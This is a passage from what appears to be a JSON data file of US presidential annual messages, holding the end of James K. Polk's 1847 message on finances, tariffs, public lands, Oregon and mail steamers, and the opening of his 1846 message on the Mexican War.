justice,\nthey could not be made to comprehend why criminals who are citizens of the\nUnited States should escape with impunity, in violation of treaty\nobligations, whilst the punishment of a Chinese who had committed any crime\nagainst an American citizen would be rigorously exacted. Indeed, the\nconsequences might be fatal to American citizens in China should a flagrant\ncrime be committed by any one of them upon a Chinese, and should trial and\npunishment not follow according to the requisitions of the treaty. This\nmight disturb, if not destroy, our friendly relations with that Empire, and\ncause an interruption of our valuable commerce. Our treaties with the\nSublime Porte, Tripoli, Tunis, Morocco, and Muscat also require the\nlegislation of Congress to carry them into execution, though the necessity\nfor immediate action may not be so urgent as in regard to China.The Secretary of State has submitted an estimate to defray the expense of\nopening diplomatic relations with the Papal States. The interesting\npolitical events now in progress in these States, as well as a just regard\nto our commercial interests, have, in my opinion, rendered such a measure\nhighly expedient.Estimates have also been submitted for the outfits and salaries of charges'\nd'affaires to the Republics of Bolivia, Guatemala, and Ecuador. The\nmanifest importance of cultivating the most friendly relations with all the\nindependent States upon this continent has induced me to recommend\nappropriations necessary for the maintenance of these missions.I recommend to Congress that an appropriation be made to be paid to the\nSpanish Government for the purpose of distribution among the claimants in\nthe Amistad case. I entertain the conviction that this is due to Spain\nunder the treaty of the 20th of October, 1795, and, moreover, that from the\nearnest manner in which the claim continues to be urged so long as it shall\nremain unsettled it will be a source of irritation and discord between the\ntwo countries, which may prove highly prejudicial to the interests of the\nUnited States. Good policy, no less than a faithful compliance with our\ntreaty obligations, requires that the inconsiderable appropriation demanded\nshould be made.A detailed statement of the condition of the finances will be presented in\nthe annual report of the Secretary of the Treasury. The imports for the\nlast fiscal year, ending on the 30th of June, 1847, were of the value of\n$146,545,638, of which the amount exported was $8,011,158, leaving\n$138,534,480 in the country for domestic use. The value of the exports for\nthe same period was $158,648,622, of which $150,637,464 consisted of\ndomestic productions and $8,011,158 of foreign articles.The receipts into the Treasury for the same period amounted to\n$26,346,790.37, of which there was derived from customs $23,747,864.66,\nfrom sales of public lands $2,498,335.20, and from incidental and\nmiscellaneous sources $100,570.51. The last fiscal year, during which this\namount was received, embraced five months under the operation of the tariff\nact of 1842 and seven months during which the tariff act of 1846 was in\nforce. During the five months under the act of 1842 the amount received\nfrom customs was $7,842,306.90, and during the seven months under the act\nof 1846 the amount received was $15,905,557.76.The net revenue from customs during the year ending on the 1st of December,\n1846, being the last year under the operation of the tariff act of 1842,\nwas $22,971,403.10, and the net revenue from customs during the year ending\non the 1st of December, 1847, being the first year under the operations of\nthe tariff act of 1846, was about $31,500,000, being an increase of revenue\nfor the first year under the tariff of 1846 of more than $8,500,000 over\nthat of the last year under the tariff of 1842.The expenditures during the fiscal year ending on the 30th of June last\nwere $59,451,177.65, of which $3,522,082.37 was on account payment of\nprincipal and interest of the public debt, including Treasury notes\nredeemed and not funded. The expenditures exclusive of payment of public\ndebt were $55,929,095.28.It is estimated that the receipts into the Treasury for the fiscal year\nending on the 30th of June, 1848, including the balance in the Treasury on\nthe 1st of July last, will amount to $42,886,545.80, of which $31,000,000,\nit is estimated, will be derived from customs, $3,500,000 from the sale of\nthe public lands, $400,000 from incidental sources, eluding sales made by\nthe Solicitor of the Treasury, and $6,285,294.55 from loans already\nauthorized by law, which, together with the balance in the Treasury on the\n1st of July last, make the sum estimated.The expenditures for the same period, if peace with Mexico shall not be\nconcluded and the Army shall be increased as is proposed, will amount,\nincluding the necessary payments on account of principal and interest of\nthe public debt and Treasury notes, to $58,615,660.07. On the 1st of the\npresent month the amount of the public debt actually incurred, including\nTreasury notes, was $45,659,659.40. The public debt due on the 4th of\nMarch, 1845, including Treasury notes, was $17,788,799.62, and consequently\nthe addition made to the public debt since that time is $27,870,859.78.Of the loan of twenty-three millions authorized by the act of the 28th of\nJanuary, 1847, the sum of five millions was paid out to the public\ncreditors or exchanged at par for specie; the remaining eighteen millions\nwas offered for specie to the highest bidder not below par, by an\nadvertisement issued by the Secretary of the Treasury and published from\nthe 9th of February until the 10th of April, 1847, when it was awarded to\nthe several highest bidders at premiums varying from one-eighth of per cent\nto 2 per cent above par. The premium has been paid into the Treasury and\nthe sums awarded deposited in specie in the Treasury as fast as it was\nrequired by the wants of the Government.To meet the expenditures for the remainder of the present and for the next\nfiscal year, ending on the 30th of June, 1849, a further loan in aid of the\nordinary revenues of the Government will be necessary. Retaining a\nsufficient surplus in the Treasury, the loan required for the remainder of\nthe present fiscal year will be about $18,500,000. If the duty on tea and\ncoffee be imposed and the graduation of the price of the public lands shall\nbe made at an early period of your session, as recommended, the loan for\nthe present fiscal year may be reduced to $17,000,000. The loan may be\nfurther reduced by whatever amount of expenditures can be saved by military\ncontributions collected in Mexico. The most vigorous measures for the\naugmentation of these contributions have been directed and a very\nconsiderable sum is expected from that source. Its amount can not, however,\nbe calculated with any certainty. It is recommended that the loan to be\nmade be authorized upon the same terms and for the same time as that which\nwas authorized under the provisions of the act of the 28th of January,\n1847.Should the war with Mexico be continued until the 30th of June, 1849, it is\nestimated that a further loan of $20,500,000 will be required for the\nfiscal year ending on that day, in case no duty be imposed on tea and\ncoffee, and the public lands be not reduced and graduated in price, and no\nmilitary contributions shall be collected in Mexico. If the duty on tea and\ncoffee be imposed and the lands be reduced and graduated in price as\nproposed, the loan may be reduced to $17,000,000, and will be subject to be\nstill further reduced by the amount of the military contributions which may\nbe collected in Mexico. It is not proposed, however, at present to ask\nCongress for authority to negotiate this loan for the next fiscal year, as\nit is hoped that the loan asked for the remainder of the present fiscal\nyear, aided by military contributions which may be collected in Mexico, may\nbe sufficient. If, contrary to my expectation, there should be a necessity\nfor it, the fact will be communicated to Congress in time for their action\nduring the present session. In no event will a sum exceeding $6,000,000 of\nthis amount be needed before the meeting of the session of Congress in\nDecember, 1848.The act of the 30th of July, 1846, \"reducing the duties on imports,\" has\nbeen in force since the 1st of December last, and I am gratified to state\nthat all the beneficial effects which were anticipated from its operation\nhave been fully realized. The public revenue derived from customs during\nthe year ending on the 1st of December, 1847, exceeds by more than\n$8,000,000 the amount received in the preceding year under the operation of\nthe act of 1842, which was superseded and repealed by it. Its effects are\nvisible in the great and almost unexampled prosperity which prevails in\nevery branch of business.While the repeal of the prohibitory and restrictive duties of the act of\n1842 and the substitution in their place of reasonable revenue rates levied\non articles imported according to their actual value has increased the\nrevenue and augmented our foreign trade, all the great interests of the\ncountry have been advanced and promoted.The great and important interests of agriculture, which had been not only\ntoo much neglected, but actually taxed under the protective policy for the\nbenefit of other interests, have been relieved of the burdens which that\npolicy imposed on them; and our farmers and planters, under a more just and\nliberal commercial policy, are finding new and profitable markets abroad\nfor their augmented products. Our commerce is rapidly increasing, and is\nextending more widely the circle of international exchanges. Great as has\nbeen the increase of our imports during the past year, our exports of\ndomestic products sold in foreign markets have been still greater.Our navigating interest is eminently prosperous. The number of vessels\nbuilt in the United States has been greater than during any preceding\nperiod of equal length. Large profits have been derived by those who have\nconstructed as well as by those who have navigated them. Should the ratio\nof increase in the number of our merchant vessels be progressive, and be as\ngreat for the future as during the past year, the time is not distant when\nour tonnage and commercial marine will be larger than that of any other\nnation in the world.Whilst the interests of agriculture, of commerce, and of navigation have\nbeen enlarged and invigorated, it is highly gratifying to observe that our\nmanufactures are also in a prosperous condition. None of the ruinous\neffects upon this interest which were apprehended by some as the result of\nthe operation of the revenue system established by the act of 1846 have\nbeen experienced. On the contrary, the number of manufactories and the\namount of capital invested in them is steadily and rapidly increasing,\naffording gratifying proofs that American enterprise and skill employed in\nthis branch of domestic industry, with no other advantages than those\nfairly and incidentally accruing from a just System of revenue duties, are\nabundantly able to meet successfully all competition from abroad and still\nderive fair and remunerating profits. While capital invested in\nmanufactures is yielding adequate and fair profits under the new system,\nthe wages of labor, whether employed in manufactures, agriculture,\ncommerce, or navigation, have been augmented. The toiling millions whose\ndaily labor furnishes the supply of food and raiment and all the\nnecessaries and comforts of life are receiving higher wages and more steady\nand permanent employment than in any other country or at any previous\nperiod of our own history.So successful have been all branches of our industry that a foreign war,\nwhich generally diminishes the resources of a nation, has in no essential\ndegree retarded our onward progress or checked our general prosperity.With such gratifying evidences of prosperity and of the successful\noperation of the revenue act of 1846, every consideration of public policy\nrecommends that it shall remain unchanged. It is hoped that the system of\nimpost duties which it established may be regarded as the permanent policy\nof the country, and that the great interests affected by it may not again\nbe subject to be injuriously disturbed, as they have heretofore been by\nfrequent and sometimes sudden changes.For the purpose of increasing the revenue, and without changing or\nmodifying the rates imposed by the act of 1846 on the dutiable articles\nembraced by its provisions, I again recommend to your favorable\nconsideration the expediency of levying a revenue duty on tea and coffee.\nThe policy which exempted these articles from duty during peace, and when\nthe revenue to be derived from them was not needed, ceases to exist when\nthe country is engaged in war and requires the use of all of its available\nresources. It is a tax which would be so generally diffused among the\npeople that it would be felt oppressively by none and be complained of by\nnone. It is believed that there are not in the list of imported articles\nany which are more properly the subject of war duties than tea and coffee.It is estimated that $3,000,000 would be derived annually by a moderate\nduty imposed on these articles.Should Congress avail itself of this additional source of revenue, not only\nwould the amount of the public loan rendered necessary by the war with\nMexico be diminished to that extent, but the public credit and the public\nconfidence in the ability and determination of the Government to meet all\nits engagements promptly would be more firmly established, and the reduced\namount of the loan which it may be necessary to negotiate could probably be\nobtained at cheaper rates.Congress is therefore called upon to determine whether it is wiser to\nimpose the war duties recommended or by omitting to do so increase the\npublic debt annually $3,000,000 so long as loans shall be required to\nprosecute the war, and afterwards provide in some other form to pay the\nsemiannual interest upon it, and ultimately to extinguish the principal. If\nin addition to these duties Congress should graduate and reduce the price\nof such of the public lands as experience has proved will not command the\nprice placed upon them by the Government, an additional annual income to\nthe Treasury of between half a million and a million of dollars, it is\nestimated, would be derived from this source. Should both measures receive\nthe sanction of Congress, the annual amount of public debt necessary to be\ncontracted during the continuance of the war would be reduced near\n$4,000,000. The duties recommended to be levied on tea and coffee it is\nproposed shall be limited in their duration to the end of the war, and\nuntil the public debt rendered necessary to be contracted by it shall be\ndischarged. The amount of the public debt to be contracted should be\nlimited to the lowest practicable sum, and should be extinguished as early\nafter the conclusion of the war as the means of the Treasury will permit.With this view, it is recommended that as soon as the war shall be over all\nthe surplus in the Treasury not needed for other indispensable objects\nshall constitute a sinking fund and be applied to the purchase of the\nfunded debt, and that authority be conferred by laws for that purpose. The\nact of the 6th of August, 1846, \"to establish a warehousing system,\" has\nbeen in operation more than a year, and has proved to be an important\nauxiliary to the tariff act of 1846 in augmenting the revenue and extending\nthe commerce of the country. Whilst it has tended to enlarge commerce, it\nhas been beneficial to our manufactures by diminishing forced sales at\nauction of foreign goods at low prices to raise the duties to be advanced\non them, and by checking fluctuations in the market. The system, although\nsanctioned by the experience of other countries, was entirely new in the\nUnited States, and is susceptible of improvement in some of its provisions.\nThe Secretary of the Treasury, upon whom was devolved large discretionary\npowers in carrying this measure into effect, has collected and is now\ncollating the practical results of the system in other countries where it\nhas long been established, and will report at an early period of your\nsession such further regulations suggested by the investigation as may\nrender it still more effective and beneficial.By the act to \"provide for the better organization of the Treasury and for\nthe collection, safe-keeping, and disbursement of the public revenue\" all\nbanks were discontinued as fiscal agents of the Government, and the paper\ncurrency issued by them was no longer permitted to be received in payment\nof public dues. The constitutional treasury created by this act went into\noperation on the 1st of January last. Under the system established by it\nthe public moneys have been collected, safely kept, and disbursed by the\ndirect agency of officers of the Government in gold and silver, and\ntransfers of large amounts have been made from points of collection to\npoints of disbursement without loss to the Treasury or injury or\ninconvenience to the trade of the country.While the fiscal operations of the Government have been conducted with\nregularity and ease under this system, it has had a salutary effect in\nchecking and preventing an undue inflation of the paper currency issued by\nthe banks which exist under State charters. Requiring, as it does, all dues\nto the Government to be paid in gold and silver, its effect is to restrain\nexcessive issues of bank paper by the banks disproportioned to the specie\nin their vaults, for the reason that they are at all times liable to be\ncalled on by the holders of their notes for their redemption in order to\nobtain specie for the payment of duties and other public dues. The banks,\ntherefore, must keep their business within prudent limits, and be always in\na condition to meet such calls, or run the hazard of being compelled to\nsuspend specie payments and be thereby discredited. The amount of specie\nimported into the United States during the last fiscal year was\n$24,121,289, of which there was retained in the country $22,276,170. Had\nthe former financial system prevailed and the public moneys been placed on\ndeposit in the banks, nearly the whole of this amount would have gone into\ntheir vaults, not to be thrown into circulation by them, but to be withheld\nfrom the hands of the people as a currency and made the basis of new and\nenormous issues of bank paper. A large proportion of the specie imported\nhas been paid into the Treasury for public dues, and after having been to a\ngreat extent recoined at the Mint has been paid out to the public creditors\nand gone into circulation as a currency among the people. The amount of\ngold and silver coin now in circulation in the country is larger than at\nany former period.The financial system established by the constitutional treasury has been\nthus far eminently successful in its operations, and I recommend an\nadherence to all its essential provisions, and especially to that vital\nprovision which wholly separates the Government from all connection with\nbanks and excludes bank paper from all revenue receipts.In some of its details, not involving its general principles, the system is\ndefective and will require modification. These defects and such amendments\nas are deemed important were set forth in the last annual report of the\nSecretary of the Treasury. These amendments are again recommended to the\nearly and favorable consideration of Congress.During the past year the coinage at the Mint and its branches has exceeded\n$20,000,000. This has consisted chiefly in converting the coins of foreign\ncountries into American coin.The largest amount of foreign coin imported has been received at New York,\nand if a branch mint were established at that city all the foreign coin\nreceived at that port could at once be converted into our own coin without\nthe expense, risk, and delay of transporting it to the Mint for that\npurpose, and the amount recoined would be much larger.Experience has proved that foreign coin, and especially foreign gold coin,\nwill not circulate extensively as a currency among the people. The\nimportant measure of extending our specie circulation, both of gold and\nsilver, and of diffusing it among the people can only be effected by\nconverting such foreign coin into American coin. I repeat the\nrecommendation contained in my last annual message for the establishment of\na branch of the Mint of the United States at the city of New York.All the public lands which had been surveyed and were ready for market have\nbeen proclaimed for sale during the past year. The quantity offered and to\nbe offered for sale under proclamations issued since the 1st of January\nlast amounts to 9,138,531 acres. The prosperity of the Western States and\nTerritories in which these lands lie will be advanced by their speedy sale.\nBy withholding them from market their growth and increase of population\nwould be retarded, while thousands of our enterprising and meritorious\nfrontier population would be deprived of the opportunity of securing\nfreeholds for themselves and their families. But in addition to the general\nconsiderations which rendered the early sale of these lands proper, it was\na leading object at this time to derive as large a sum as possible from\nthis source, and thus diminish by that amount the public loan rendered\nnecessary by the existence of a foreign war.It is estimated that not less than 10,000,000 acres of the public lands\nwill be surveyed and be in a condition to be proclaimed for sale during the\nyear 1848.In my last annual message I presented the reasons which in my judgment\nrendered it proper to graduate and reduce the price of such of the public\nlands as have remained unsold for long periods after they had been offered\nfor sale at public auction.Many millions of acres of public lands lying within the limits of several\nof the Western States have been offered in the market and been subject to\nsale at private entry for more than twenty years and large quantities for\nmore than thirty years at the lowest price prescribed by the existing laws,\nand it has been found that they will not command that price. They must\nremain unsold and uncultivated for an indefinite period unless the price\ndemanded for them by the Government shall be reduced. No satisfactory\nreason is perceived why they should be longer held at rates above their\nreal value. At the present period an additional reason exists for adopting\nthe measure recommended. When the country is engaged in a foreign war, and\nwe must necessarily resort to loans, it would seem to be the dictate of\nwisdom that we should avail ourselves of all our resources and thus limit\nthe amount of the public indebtedness to the lowest possible sum.I recommend that the existing laws on the subject of preemption rights be\namended and modified so as to operate prospectively and to embrace all who\nmay settle upon the public lands and make improvements upon them, before\nthey are surveyed as well as afterwards, in all cases where such\nsettlements may be made after the Indian title shall have been\nextinguished.If the right of preemption be thus extended, it will embrace a large and\nmeritorious class of our citizens. It will increase the number of small\nfreeholders upon our borders, who will be enabled thereby to educate their\nchildren and otherwise improve their condition, while they will be found at\nall times, as they have ever proved themselves to be in the hour of danger\nto their country, among our hardiest and best volunteer soldiers, ever\nready to attend to their services in cases of emergencies and among the\nlast to leave the field as long as an enemy remains to be encountered. Such\na policy will also impress these patriotic pioneer emigrants with deeper\nfeelings of gratitude for the parental care of their Government, when they\nfind their dearest interests secured to them by the permanent laws of the\nland and that they are no longer in danger of losing their homes and\nhard-earned improvements by being brought into competition with a more\nwealthy class of purchasers at the land sales. The attention of Congress\nwas invited at their last and the preceding session to the importance of\nestablishing a Territorial government over our possessions in Oregon, and\nit is to be regretted that there was no legislation on the subject. Our\ncitizens who inhabit that distant region of country are still left without\nthe protection of our laws, or any regularly organized government. Before\nthe question of limits and boundaries of the Territory of Oregon was\ndefinitely settled, from the necessity of their condition the inhabitants\nhad established a temporary government of their own. Besides the want of\nlegal authority for continuing such a government, it is wholly inadequate\nto protect them in their rights of person and property, or to secure to\nthem the enjoyment of the privileges of other citizens, to which they are\nentitled under the Constitution of the United States. They should have the\nright of suffrage, be represented in a Territorial legislature and by a\nDelegate in Congress, and possess all the rights and privileges which\ncitizens of other portions of the territories of the United States have\nheretofore enjoyed or may now enjoy.Our judicial system, revenue laws, laws regulating trade and intercourse\nwith the Indian tribes, and the protection of our laws generally should be\nextended over them.In addition to the inhabitants in that Territory who had previously\nemigrated to it, large numbers of our citizens have followed them during\nthe present year, and it is not doubted that during the next and subsequent\nyears their numbers will be greatly increased.Congress at its last session established post routes leading to Oregon, and\nbetween different points within that Territory, and authorized the\nestablishment of post-offices at \"Astoria and such other places on the\ncoasts of the Pacific within the territory of the United States as the\npublic interests may require.\" Post-offices have accordingly been\nestablished, deputy postmasters appointed, and provision made for the\ntransportation of the mails.The preservation of peace with the Indian tribes residing west of the Rocky\nMountains will render it proper that authority should be given by law for\nthe appointment of an adequate number of Indian agents to reside among\nthem.I recommend that a surveyor-general's office be established in that\nTerritory, and that the public lands be surveyed and brought into market at\nan early period.I recommend also that grants, upon liberal terms, of limited quantities of\nthe public lands be made to all citizens of the United States who have\nemigrated, or may hereafter within a prescribed period emigrate, to Oregon\nand settle upon them. These hardy and adventurous citizens, who have\nencountered the dangers and privations of a long and toilsome journey, and\nhave at length found an abiding place for themselves and their families\nupon the utmost verge of our western limits, should be secured in the homes\nwhich they have improved by their labor. I refer you to the accompanying\nreport of the Secretary of War for a detailed account of the operations of\nthe various branches of the public service connected with the Department\nunder his charge. The duties devolving on this Department have been\nunusually onerous and responsible during the past year, and have been\ndischarged with ability and success.Pacific relations continue to exist with the various Indian tribes, and\nmost of them manifest a strong friendship for the United States. Some\ndepredations were committed during the past year upon our trains\ntransporting supplies for the Army, on the road between the western border\nof Missouri and Santa Fe. These depredations, which are supposed to have\nbeen committed by bands from the region of New Mexico, have been arrested\nby the presence of a military force ordered out for that purpose. Some\noutrages have been perpetrated by a portion of the northwestern bands upon\nthe weaker and comparatively defenseless neighboring tribes. Prompt\nmeasures were taken to prevent such occurrences in future.Between 1,000 and 2,000 Indians, belonging to several tribes, have been\nremoved during the year from the east of the Mississippi to the country\nallotted to them west of that river as their permanent home, and\narrangements have been made for others to follow.Since the treaty of 1846 with the Cherokees the feuds among them appear to\nhave subsided, and they have become more united and contented than they\nhave been for many years past. The commissioners appointed in pursuance of\nthe act of June 27, 1846, to settle claims arising under the treaty of\n1835-36 with that tribe have executed their duties, and after a patient\ninvestigation and a full and fair examination of all the cases brought\nbefore them closed their labors in the month of July last. This is the\nfourth board of commissioners which has been organized under this treaty.\nAmple opportunity has been afforded to all those interested to bring\nforward their claims. No doubt is entertained that impartial justice has\nbeen done by the late board, and that all valid claims embraced by the\ntreaty have been considered and allowed. This result and the final\nsettlement to be made with this tribe under the treaty of 1846, which will\nbe completed and laid before you during your session, will adjust all\nquestions of controversy between them and the United States and produce a\nstate of relations with them simple, well defined, and satisfactory. Under\nthe discretionary authority conferred by the act of the 3d of March last\nthe annuities due to the various tribes have been paid during the present\nyear to the heads of families instead of to their chiefs or such persons as\nthey might designate, as required by the law previously existing. This mode\nof payment has given general satisfaction to the great body of the Indians.\nJustice has been done to them, and they are grateful to the Government for\nit. A few chiefs and interested persons may object to this mode of payment,\nbut it is believed to be the only mode of preventing fraud and imposition\nfrom being practiced upon the great body of common Indians, constituting a\nmajority of all the tribes. It is gratifying to perceive that a number of\nthe tribes have recently manifested an increased interest in the\nestablishment of schools among them, and are making rapid advances in\nagriculture, some of them producing a sufficient quantity of food for their\nsupport and in some cases a surplus to dispose of to their neighbors. The\ncomforts by which those who have received even a very limited education and\nhave engaged in agriculture are surrounded tend gradually to draw off their\nless civilized brethren from the precarious means of subsistence by the\nchase to habits of labor and civilization.The accompanying report of the Secretary of the Navy presents a\nsatisfactory and gratifying account of the condition and operations of the\nnaval service during the past year. Our commerce has been pursued with\nincreased activity and with safety and success in every quarter of the\nglobe under the protection of our flag, which the Navy has caused to be\nrespected in the most distant seas.In the Gulf of Mexico and in the Pacific the officers and men of our\nsquadrons have displayed distinguished gallantry and performed valuable\nservices. In the early stages of the war with Mexico her ports on both\ncoasts were blockaded, and more recently many of them have been captured\nand held by the Navy. When acting in cooperation with the land forces, the\nnaval officers and men have performed gallant and distinguished services on\nland as well as on water, and deserve the high commendation of the\ncountry.While other maritime powers are adding to their navies large numbers of war\nsteamers, it was a wise policy on our part to make similar additions to our\nNavy. The four war steamers authorized by the act of the 3d of March, 1847,\nare in course of construction.In addition to the four war steamers authorized by this act, the Secretary\nof the Navy has, in pursuance of its provisions, entered into contracts for\nthe construction of five steamers to be employed in the transportation of\nthe United States mail \"from New York to New Orleans, touching at\nCharleston, Savannah, and Havana, and from Havana to Chagres;\" for three\nsteamers to be employed in like manner from Panama to Oregon, \"so as to\nconnect with the mail from Havana to Chagres across the Isthmus;\" and for\nfive steamers to be employed in like manner from New York to Liverpool.\nThese steamers will be the property of the contractors, but are to be built\n\"under the superintendence and direction of a naval constructor in the\nemploy of the Navy Department, and to be so constructed as to render them\nconvertible at the least possible expense into war steamers of the first\nclass.\" A prescribed number of naval officers, as well as a post-office\nagent, are to be on board of them, and authority is reserved to the Navy\nDepartment at all times to \"exercise control over said steamships\" and \"to\nhave the right to take them for the exclusive use and service of the United\nStates upon making proper compensation to the contractors therefor.\"Whilst these steamships will be employed in transporting the mails of the\nUnited States coastwise and to foreign countries upon an annual\ncompensation to be paid to the owners, they will be always ready, upon an\nemergency requiring it, to be converted into war steamers; and the right\nreserved to take them for public use will add greatly to the efficiency and\nstrength of this description of our naval force. To the steamers thus\nauthorized under contracts made by the Secretary of the Navy should be\nadded five other steamers authorized under contracts made in pursuance of\nlaws by the Postmaster-General, making an addition, in the whole, of\neighteen war steamers subject to be taken for public use. As further\ncontracts for the transportation of the mail to foreign countries may be\nauthorized by Congress, this number may be enlarged indefinitely.The enlightened policy by which a rapid communication with the various\ndistant parts of the globe is established, by means of American built sea\nsteamers, would find an ample reward in the increase of our commerce and in\nmaking our country and its resources more favorably known abroad; but the\nnational advantage is still greater--of having our naval officers made\nfamiliar with steam navigation and of having the privilege of taking the\nships already equipped for immediate service at a moment's notice, and will\nbe cheaply purchased by the compensation to be paid for the transportation\nof the mail in them over and above the postages received.A just national pride, no less than our commercial interests, would Seem to\nfavor the policy of augmenting the number of this description of vessels.\nThey can be built in our country cheaper and in greater numbers than in any\nother in the world.I refer you to the accompanying report of the Postmaster-General for a\ndetailed and satisfactory account of the condition and operations of that\nDepartment during the past year. It is gratifying to find that within so\nshort a period after the reduction in the rates of postage, and\nnotwithstanding the great increase of mail service, the revenue received\nfor the year will be sufficient to defray all the expenses, and that no\nfurther aid will be required from the Treasury for that purpose.The first of the American mail steamers authorized by the act of the 3d of\nMarch, 1845, was completed and entered upon the service on the 1st of June\nlast, and is now on her third voyage to Bremen and other intermediate\nports. The other vessels authorized under the provisions of that act are in\ncourse of construction, and will be put upon the line as soon as completed.\nContracts have also been made for the transportation of the mail in a\nsteamer from Charleston to Havana.A reciprocal and satisfactory postal arrangement has been made by the\nPostmaster-General with the authorities of Bremen, and no difficulty is\napprehended in making similar arrangements with all other powers with which\nwe may have communications by mail steamers, except with Great Britain.On the arrival of the first of the American steamers bound to Bremen at\nSouthampton, in the month of June last, the British post-office directed\nthe collection of discriminating postages on all letters and other mailable\nmatter which she took out to Great Britain or which went into the British\npost-office on their way to France and other parts of Europe. The effect of\nthe order of the British, post-office is to subject all letters and other\nmatter transported by American steamers to double postage, one postage\nhaving been previously paid on them to the United States, while letters\ntransported in British steamers are subject to pay but a single postage.\nThis measure was adopted with the avowed object of protecting the British\nline of mail steamers now running between Boston and Liverpool, and if\npermitted to Continue must speedily put an end to the transportation of all\nletters and other matter by American steamers and give to British steamers\na monopoly of the business. A just and fair reciprocity is all that we\ndesire, and on this we must insist. By our laws no such discrimination is\nmade against British steamers bringing letters into our ports, but all\nletters arriving in the United States are subject to the same rate of\npostage, whether brought in British or American vessels. I refer you to the\nreport of the Postmaster-General for a full statement of the facts of the\ncase and of the steps taken by him to correct this inequality. He has\nexerted all the power conferred upon him by the existing laws.The minister of the United States at London has brought the subject to the\nattention of the British Government, and is now engaged in negotiations for\nthe purpose of adjusting reciprocal postal arrangements which shall be\nequally just to both countries. Should he fail in concluding such\narrangements, and should Great Britain insist on enforcing the unequal and\nunjust measure she has adopted, it will become necessary to confer\nadditional powers on the Postmaster-General in order to enable him to meet\nthe emergency and to put our own steamers on an equal footing with British\nsteamers engaged in transporting the mails between the two countries, and I\nrecommend that such powers be conferred. In view of the existing state of\nour country, I trust it may not be inappropriate, in closing this\ncommunication, to call to mind the words of wisdom and admonition of the\nfirst and most illustrious of my predecessors in his Farewell Address to\nhis countrymen.That greatest and best of men, who served his country so long and loved it\nso much, foresaw with \"serious concern\" the danger to our Union of\n\"characterizing parties by geographical discriminations--Northern and\nSouthern, Atlantic and Western--whence designing men may endeavor to excite\na belief that there is a real difference of local interests and views,\" and\nwarned his countrymen against it.So deep and solemn was his conviction of the importance of the Union and of\npreserving harmony between its different parts, that he declared to his\ncountrymen in that address:It is of infinite moment that you should properly estimate the immense\nvalue of your national union to your collective and individual happiness;\nthat you should cherish a cordial, habitual, and immovable attachment to\nit; accustoming yourselves to think and speak of it as of the palladium of\nyour political safety and prosperity; watching for its preservation with\njealous anxiety; discountenancing whatever may suggest even a suspicion\nthat it can in any event be abandoned, and indignantly frowning upon the\nfirst dawning of every attempt to alienate any portion of our country from\nthe rest or to enfeeble the sacred ties which now link together the various\nparts.After the lapse of half a century these admonitions of Washington fall upon\nus with all the force of truth. It is difficult to estimate the \"immense\nvalue\" of our glorious Union of confederated States, to which we are so\nmuch indebted for our growth in population and wealth and for all that\nconstitutes us a great and a happy nation. How unimportant are all our\ndifferences of opinion upon minor questions of public policy compared with\nits preservation, and how scrupulously should we avoid all agitating topics\nwhich may tend to distract and divide us into contending parties, separated\nby geographical lines, whereby it may be weakened or endangered.Invoking the blessing of the Almighty Ruler of the Universe upon your\ndeliberations, it will be my highest duty, no less than my sincere\npleasure, to cooperate with you in all measures which may tend to promote\nthe honor and enduring welfare of our common country.JAMES K. POLK", 
+    "name": "James Polk"
+}
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+{
+    "date": "December 8, 1846", 
+    "speech": "Fellow-Citizens of the Senate and of the House of Representatives:In resuming your labors in the service of the people it is a subject of\ncongratulation that there has been no period in our past history when all\nthe elements of national prosperity have been so fully developed. Since\nyour last session no afflicting dispensation has visited our country.\nGeneral good health has prevailed, abundance has crowned the toil of the\nhusbandman, and labor in all its branches is receiving an ample reward,\nwhile education, science, and the arts are rapidly enlarging the means of\nsocial happiness. The progress of our country in her career of greatness,\nnot only in the vast extension of our territorial limits and the rapid\nincrease of our population, but in resources and wealth and in the happy\ncondition of our people, is without an example in the history of nations.As the wisdom, strength, and beneficence of our free institutions are\nunfolded, every day adds fresh motives to contentment and fresh incentives\nto patriotism.Our devout and sincere acknowledgments are due to the gracious Giver of All\nGood for the numberless blessings which our beloved country enjoys.It is a source of high satisfaction to know that the relations of the\nUnited States with all other nations, with a single exception, are of the\nmost amicable character. Sincerely attached to the policy of peace early\nadopted and steadily pursued by this Government, I have anxiously desired\nto cultivate and cherish friendship and commerce with every foreign power.\nThe spirit and habits of the American people are favorable to the\nmaintenance of such international harmony. In adhering to this wise policy,\na preliminary and paramount duty obviously consists in the protection of\nour national interests from encroachment or sacrifice and our national\nhonor from reproach. These must be maintained at any hazard. They admit of\nno compromise or neglect, and must be scrupulously and constantly guarded.\nIn their vigilant vindication collision and conflict with foreign powers\nmay sometimes become unavoidable. Such has been our scrupulous adherence to\nthe dictates of justice in all our foreign intercourse that, though\nsteadily and rapidly advancing in prosperity and power, we have given no\njust cause of complaint to any nation and have enjoyed the blessings of\npeace for more than thirty years. From a policy so sacred to humanity and\nso salutary in its effects upon our political system we should never be\ninduced voluntarily to depart.The existing war with Mexico was neither desired nor provoked by the United\nStates. On the contrary, all honorable means were resorted to to avert it.\nAfter years of endurance of aggravated and unredressed wrongs on our part,\nMexico, in violation of solemn treaty stipulations and of every principle\nof justice recognized by civilized nations, commenced hostilities, and thus\nby her own act forced the war upon us. Long before the advance of our Army\nto the left bank of the Rio Grande we had ample cause of war against\nMexico, and had the United States resorted to this extremity we might have\nappealed to the whole civilized world for the justice of our cause. I deem\nit to be my duty to present to you on the present occasion a condensed\nreview of the injuries we had sustained, of the causes which led to the\nwar, and of its progress since its commencement. This is rendered the more\nnecessary because of the misapprehensions which have to some extent\nprevailed as to its origin and true character. The war has been represented\nas unjust and unnecessary and as one of aggression on our part upon a weak\nand injured enemy. Such erroneous views, though entertained by but few,\nhave been widely and extensively circulated, not only at home, but have\nbeen spread throughout Mexico and the whole world. A more effectual means\ncould not have been devised to encourage the enemy and protract the war\nthan to advocate and adhere to their cause, and thus give them \"aid and\ncomfort.\" It is a source of national pride and exultation that the great\nbody of our people have thrown no such obstacles in the way of the\nGovernment in prosecuting the war successfully, but have shown themselves\nto be eminently patriotic and ready to vindicate their country's honor and\ninterests at any sacrifice. The alacrity and promptness with which our\nvolunteer forces rushed to the field on their country's call prove not only\ntheir patriotism, but their deep conviction that our cause is just.The wrongs which we have suffered from Mexico almost ever since she became\nan independent power and the patient endurance with which we have borne\nthem are without a parallel in the history of modern civilized nations.\nThere is reason to believe that if these wrongs had been resented and\nresisted in the first instance the present war might have been avoided. One\noutrage, however, permitted to pass with impunity almost necessarily\nencouraged the perpetration of another, until at last Mexico seemed to\nattribute to weakness and indecision on our part a forbearance which was\nthe offspring of magnanimity and of a sincere desire to preserve friendly\nrelations 